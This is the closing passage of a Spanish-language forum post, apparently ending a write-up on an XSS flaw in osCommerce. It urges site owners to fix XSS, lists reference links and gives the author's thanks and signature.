Que sea gratuito no significa que sea malo, las vulnerabilidades las pueden cometer muchos programadores incluso los que se dedican a la venta de sistemas entre comillas. Hay muchas alternativas mejores por el mismo precio ($0) que están licenciada bajo la licencia GNU.

Una vulnerabilidad no es algo aislado que puedas ver en un foro o en un grupo de personas con tiempo libre, es algo que se toma muy en serio cuando se habla de sistemas profesionales, no creo que alguien se desgaste haciendo una bóveda del porte de una cancha de fútbol sin ponerle la cerradura a la puerta.

Muchos sitios que hablan sobre Advisories dicen que el XSS es considerado de riesgo a nivel medio (antiguamente era bajo), pues para mi puede ser tan fatal como cualquier otro así que si tienes un XSS en tu sitio Web te recomiendo que lo repares.

Puedes ahorrar una buena cantidad de dinero mensualmente evitando que tu técnico venga a reinstalar tu sitio Web porque fue penetrada y también te ahorras el dinero del auditor para corroborar si no hay indicios de rooteo que pueda comprometer al servidor en un futuro después de haber hecha la reinstalación.


Enlaces descriptivos

http://es.wikipedia.org/wiki/Cross-site_scripting
http://es.wikipedia.org/wiki/Cross_Site_Request_Forgery
http://es.wikipedia.org/wiki/Agentes_de_usuario
http://www.google.cl/search?hl=es&q=bypass+vuln
(Bypass: Descubrimiento de evasión, en este caso se trata de evadir el sistema de protección que evita un ataque.)
http://www.oscommerce.com/
http://foro.elhacker.net/nivel_web/temas_mas_destacados_fallas_y_explotaciones-t244090.0.html
http://foro.elhacker.net/documentacion/los_poderes_secretos_de_xss_cross_site_scripting-t98324.0.html
http://www.google.cl/search?hl=es&q=xss+vuln
http://es.wikipedia.org/wiki/GPL
http://www.gnu.org/licenses/licenses.es.html


Agradecimientos

Gracias al foro de ElHacker.Net por darme la oportunidad de tener cada día mas conocimiento frente al tema de la seguridad informática y aplicarlo en el mundo laboral.
Gracias a Nakp por prestarse siempre de betatester para lo que sea aunque en esta ocasión no se pudo porque no le avisé :p
Gracias a KrackWar por su vida social (nuevamente)
Gracias a mi compadre Octalh por llevarme por el camino del conocimiento y el Software Libre XD
Gracias a mis amigos de la red: MITM, Sirdarckcat, Unika, PokasPulgas, Nano N Roses, Dementes en el espacio, CarlosWaldo (alias carlos aguado) y a todos los de la sala de Yahoo Chat "Cristianismo:1" y "Programación:1".


Att, WHK.
[email]www.kernel32@gmail.com[/email]
http://foro.elhacker.net/profiles/whk-u148268.html

Puedes publicar este documento donde tu quieras siempre y cuando no sea modificado.


Si tienen alguna duda pregunten porque nadie ha nacido sabiendo las cosas.
Descarga en formato .doc acá
Páginas: 1 ... 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 [34] 35 36 37 38 39 40 41 42
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines